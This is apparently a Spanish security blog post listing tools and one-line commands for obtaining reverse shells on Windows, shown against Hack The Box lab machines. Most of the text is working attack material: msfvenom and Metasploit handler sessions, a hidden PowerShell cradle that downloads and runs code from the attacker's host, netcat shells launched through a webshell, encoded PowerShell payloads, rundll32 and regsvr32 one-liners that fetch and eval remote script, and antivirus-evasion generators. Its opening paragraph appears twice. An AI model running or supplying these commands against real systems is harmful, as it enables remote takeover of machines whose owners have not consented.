Colección de herramientas y técnicas para obtener shells reversas en Windows
En CTFs y/o plataformas de training la mayoría de las máquinas que encontramos son Linux y cuando conseguimos explotar una vulnerabilidad que nos permite ejecución remota de comandos el siguiente paso normalmente es obtener una shell reversa.
Sin embargo, en escenarios reales el porcentaje de máquinas con respecto a Windows se equipara o, al menos, se incrementa drásticamente el número de servidores al que tenemos que enfrentarnos. Por eso, también es muy importante tener un buen compendio de herramientas y técnicas para obtener shells reversas en Windows. Aquí os dejo un breve pero intenso resumen de la mayoría que he ido encontrando y que veremos (entre las más de 400 slides!) que tenemos preparados para el taller que impartiremos el próximo sábado en la Eastmadh4ck:
MsfVenom
Es el generador de payloads de Metasploit de facto. Ya sabéis, el reemplazo de msfpayload y msfencode y probablemente el más utilizado.
Por ejemplo, generamos el código para una shell reversa en aspx.
Sin embargo, en escenarios reales el porcentaje de máquinas con respecto a Windows se equipara o, al menos, se incrementa drásticamente el número de servidores al que tenemos que enfrentarnos. Por eso, también es muy importante tener un buen compendio de herramientas y técnicas para obtener shells reversas en Windows. Aquí os dejo un breve pero intenso resumen de la mayoría que he ido encontrando y que veremos (entre las más de 400 slides!) que tenemos preparados para el taller que impartiremos el próximo sábado en la Eastmadh4ck:
MsfVenom
Es el generador de payloads de Metasploit de facto. Ya sabéis, el reemplazo de msfpayload y msfencode y probablemente el más utilizado.
Por ejemplo, generamos el código para una shell reversa en aspx.
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.4 LPORT=4444 -f aspx > shell.aspx
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 333 bytes
Final size of aspx file: 2749 bytes
La subimos al servidor:
ftp> put shell.aspx
local: shell.aspx remote: shell.aspx
200 PORT command successful.
2785 bytes sent in 0.00 secs (20.2747 MB/s)
Ponemos el multihandler a la escucha:
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 10.10.14.4
msf exploit(handler) > set LPORT 4444
msf exploit(handler) > exploit
[*] Started reverse TCP handler on 10.10.14.4:4444
[*] Starting the payload handler...
Y al abrir el enlace...
http://10.10.10.5/shell.aspx
Obtenemos la shell correspondiente:
[*] Sending stage (956991 bytes) to 10.10.10.5
[*] Meterpreter session 1 opened (10.10.14.4:4444 -> 10.10.10.5:49157) at 2017-11-25 meterpreter > sysinfo
Computer : DEVEL
OS : Windows 7 (Build 7600).
Architecture : x86
System Language : el_GR
Domain : HTB
Logged On Users : 0
Meterpreter : x86/windows
Metasploit Web Delivery
El Web Delivery de Metasploit es un módulo muy versátil que crea un servidor en la máquina del atacante que aloja el payload seleccionado. Digamos que nos ahorra realizar varios pasos de forma manual y es muy cómodo porque nos devuelve el comando de una sóla línea que debemos ejecutar en la víctima. Veamos por ejemplo un payload en powershell:
use exploit/multi/script/web_delivery
set TARGET 2 (powershell)
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set URIPATH update
set LHOST 10.10.14.15
set LPORT 8082
exploit -j
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 10.10.14.15:8082
[*] Using URL: http://0.0.0.0:8081/update
[*] Local IP: http://10.10.14.15:8081/update
[*] Server started.
[*] Run the following command on the target machine:
powershell.exe -nop -w hidden -c $m=new-object net.webclient;$m.proxy=[Net.WebRequest]::GetSystemWebProxy();$m.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $m.downloadstring('http://10.10.14.15:8081/update');
msf exploit(multi/script/web_delivery) > [*] 10.10.10.9 web_delivery - Delivering Payload
[*] Sending stage (205891 bytes) to 10.10.10.9
[*] Meterpreter session 1 opened (10.10.14.15:8082 -> 10.10.10.9:49618) at 2018-01-11 11:04:41 +0100
msf exploit(multi/script/web_delivery) > sessions -l
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/windows NT AUTHORITY\IUSR @ BASTARD 10.10.14.15:8082 -> 10.10.10.9:49618 (10.10.10.9)
Netcat en Windows
No podía faltar en este menú un clásico como la navaja suiza netcat, esta vez compilado y listo para ejecutar en Windows (los tenemos para 32 y para 64 bits):
# wget https://eternallybored.org/misc/netcat/netcat-win32-1.12.zip
# unzip netcat-win32-1.12.zip
# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
10.10.10.9 - - [24/Jan/2018 01:14:27] "GET /nc64.exe HTTP/1.0" 200 -http://10.10.10.9/myshell.php?fupload=nc64.exe
http://10.10.10.9/myshell.php?fexec=nc64.exe -e cmd 10.10.14.5 8081
root@kali:~/bastard# nc -lvp 8081
listening on [any] 8081 ...
10.10.10.9: inverse host lookup failed: Unknown host
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.9] 49182
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\inetpub\drupal-7.54>whoami
whoami
nt authority\iusr
Metasploit también tiene un módulo de post-explotación muy cómodo que nos permitirá llevar la sesión de Netcat a una de meterpreter:
Atacante:
Opción 1: Use the sessions -u [session id]command.
Opción 2: Use the post/multi/manage/shell_to_meterpreter to upgrade the shell.
PowerSploit Invoke-Shellcode.ps1
PowerSploit es una colección de módulos y scripts ofensivos en PowerShell y dentro de la misma tenemos Invoke-Shellcode con el que podemos inyectar un shellcode en el ID del proceso que elijamos o dentro de PowerShell de forma local:
Atacante:
cat /usr/share/powersploit/CodeExecution/Invoke-Shellcode.ps1 > payload
echo “Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.252.1 -Lport 443 -Force” >> payload
python -m SimpleHTTPServer (http://192.168.1.112:8000/payload)
Servidor:
iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')
Codificado:
echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc aQBlAHgAIAAoAE4 ... BjBkACcAKQAKAA==
Empire
Empire es un agente de post-explotación en PowerShell y Python con una arquitectura muy flexible. Empire implementa la capacidad de ejecutar agentes PowerShell sin necesidad de powershell.exe, módulos de post-explotación de rápida implementación que van desde keyloggers hasta Mimikatz, y comunicaciones adaptables para evadir la detección en redes, todo envuelto en un marco enfocado en la usabilidad.
(Empire: listeners) > uselistener http
(Empire: listeners/http) > set Host 10.10.15.73
(Empire: listeners/http) > set Port 8888
(Empire: listeners/http) > execute
[*] Starting listener 'http'
l[+] Listener successfully started!
(Empire: listeners/http) > listeners
[*] Active listeners:
Name Module Host Delay/Jitter KillDate
---- ------ ---- ------------ --------
http http http://10.10.15.73:80 5/0.0
(Empire: stager/windows/launcher_bat) > set Listener http
(Empire: stager/windows/launcher_bat) > execute
[*] Stager output written out to: /tmp/launcher.bat
Hackplayers mod: https://github.com/Hackplayers/Empire-mod-Hackplayers
Empire GUI
StarFighter
Veil Evasion
Veil-Evasion es una herramienta diseñada para generar payloads de metasploit que sean capaces de evadir la mayoría de las soluciones de antivirus.
list
24 (powershell/meterpreter/rev_tcp)
[powershell/meterpreter/rev_tcp>>]: set LHOST 10.10.14.3
generate
[>] Please enter the base name for output files (default is 'payload'):
Language: powershell
Payload: powershell/meterpreter/rev_tcp
Required Options: LHOST=10.10.14.3 LPORT=4444
Payload File: /usr/share/veil-output/source/payload.bat
Handler File: /usr/share/veil-output/handlers/payload_handler.rc
[*] Your payload files have been generated, don't get caught!
[!] And don't submit samples to any online scanner! ;)
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 10.10.14.3:4444
[*] Sending stage (179779 bytes) to 10.10.10.11
[*] Meterpreter session 1 opened (10.10.14.3:4444 -> 10.10.10.11:55194) at 2018-01-02 01:47:57 +0100
meterpreter >
meterpreter > getuid
Server username: ARCTIC\tolis
meterpreter > sysinfo
Computer : ARCTIC
OS : Windows 2008 R2 (Build 7600).
Architecture : x64
System Language : el_GR
Domain : HTB
Logged On Users : 1
Meterpreter : x86/windows
Phantom Evasion
Herramienta de evasión de AV escrita en Python capaz de generar ejecutables FUD incluso desde los payloads de metasploit de 32 bits más comunes (exe/elf/dmg/apk)
Impacket smbserver
Impacket realmente es una colección de clases de Python para trabajar con protocolos de red, de hecho es capaz de implementarlos como por ejemplo un servidor SMB en donde podamos alojar nuestros payloads:
/impacket/examples# ./smbserver.py SHARE ./SHARE/
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf exploit(multi/handler) > set Lhost 10.10.14.189
Lhost => 10.10.14.189
msf exploit(multi/handler) > set lport 80
lport => 80
msf exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.14.189:80
WEBSHELL:
http://10.10.10.81/internal-01/log/sapo.php?c=//10.10.14.102/SHARE/test.exe
SMBSERVER:
[*] Incoming connection (10.10.10.81,55355)
[*] AUTHENTICATE_MESSAGE (\,BART)
[*] User \BART authenticated successfully
[*] :::00::4141414141414141
[-] TreeConnectAndX not found TEST.EXE
[-] TreeConnectAndX not found TEST.EXE
[-] TreeConnectAndX not found TEST.EXE
[-] TreeConnectAndX not found TEST.EXE
[-] TreeConnectAndX not found TEST.EXE
[-] TreeConnectAndX not found TEST.EXE
[-] TreeConnectAndX not found TEST.EXE
[-] TreeConnectAndX not found TEST.EXE
[*] AUTHENTICATE_MESSAGE (\,BART)
[*] User \BART authenticated successfully
[*] :::00::4141414141414141
[*] Disconnecting Share(1:IPC$)
[*] Disconnecting Share(3:TEST)
msf exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.14.102:8081
[*] Sending stage (205891 bytes) to 10.10.10.81
[*] Meterpreter session 1 opened (10.10.14.102:8081 -> 10.10.10.81:56272) at 2018-04-24 23:06:24 +0200
meterpreter > ls
Listing: C:\inetpub\wwwroot\internal-01\log
===========================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40777/rwxrwxrwx 0 dir 2018-02-21 20:44:08 +0100 Microsoft
100666/rw-rw-rw- 1112 fil 2018-04-24 18:37:25 +0200 apple.php
40777/rwxrwxrwx 4096 dir 2018-04-24 22:07:34 +0200 exploit
100666/rw-rw-rw- 1524 fil 2018-04-24 22:51:51 +0200 log.php
100666/rw-rw-rw- 101 fil 2018-02-21 20:35:17 +0100 log.txt
100666/rw-rw-rw- 201 fil 2018-04-24 20:51:22 +0200 lol.php
100666/rw-rw-rw- 1112 fil 2018-04-24 18:37:25 +0200 mac.php
100777/rwxrwxrwx 0 fil 2018-04-24 21:12:27 +0200 mysql.exe
100777/rwxrwxrwx 38616 fil 2018-04-24 20:51:31 +0200 nc.exe
100666/rw-rw-rw- 30 fil 2018-04-24 22:51:51 +0200 sapo.php
100666/rw-rw-rw- 21 fil 2018-04-24 22:51:51 +0200 sapo2.php
100666/rw-rw-rw- 116 fil 2018-04-24 20:45:02 +0200 shell69.php
100666/rw-rw-rw- 381 fil 2018-04-24 18:37:18 +0200 tmp1.php
meterpreter > getuid
Server username: NT AUTHORITY\IUSR
Unicorn
Ataques nativos de inyección con powershell en cualquier plataforma de Windows x86:
python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443
# cat unicorn.rc
use multi/handler
set payload windows/meterpreter/reverse_https
set LHOST 192.168.1.5
set LPORT 443
set ExitOnSession false
set EnableStageEncoding true
exploit -j
# msfconsole -r unicorn.rc
jsrat.ps1
Simple js shell reversa a través de rundll32 (@subTee):
rund32.exe javascript:"\..\mshtml,RunHTMLApplication";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.open("GET","http://192.168.174.131/connect",false);h.Send();B=h.ResponseText;eval(B):
Ejecutar como admin:
powershell.exe -ExecutionPolicy Bypass -File c:\test\JSRat.ps1
Cliente:
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");w=new%20ActiveXObject("WScript.Shell");try{v=w.RegRead("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet%20Settings\\ProxyServer");q=v.split("=")[1].split(";")[0];h.SetProxy(2,q);}catch(e){}h.Open("GET","http://192.168.174.131/connect",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
JSRat.py
Implementación de JSRat en python por Hood3dRob1n, multiplataforma y que permite usar rundll32 o regsvr32:
Servidor (atacante):
1-Interactive mode
python MyJSRat.py -i 192.168.1.101 -p 8080
2-Command mode
python MyJSRat.py -i 192.168.1.101 -p 8080 -c "whoami"
Cliente (Victima Windows box):
Uso del método rundll32 para invocar al cliente:
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://10.10.10.10:31337/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
Uso del método de regsvr32 para invocar al cliente:
regsvr32.exe /u /n /s /i:http://10.10.10.10:31337/file.sct scrobj.dll
Reverse shell
ReverseShell es un script en PowerShell que podemos usar para 1 / facilitar el proceso de crear una shell reversa con diferentes payloads según el intérprete que admita el servidor (python, bash, perl, java, php o ruby) y 2 / automatizar el update a Meterpreter.
Shellpop
Similar a la anterior pero añade más payloads y bind shells.
¿Más? Si echáis en falta no lo dudéis y comentar este post!
Via: www.hackplayers.com
Colección de herramientas y técnicas para obtener shells reversas en Windows
Reviewed by Anónimo
on
18:29
Rating: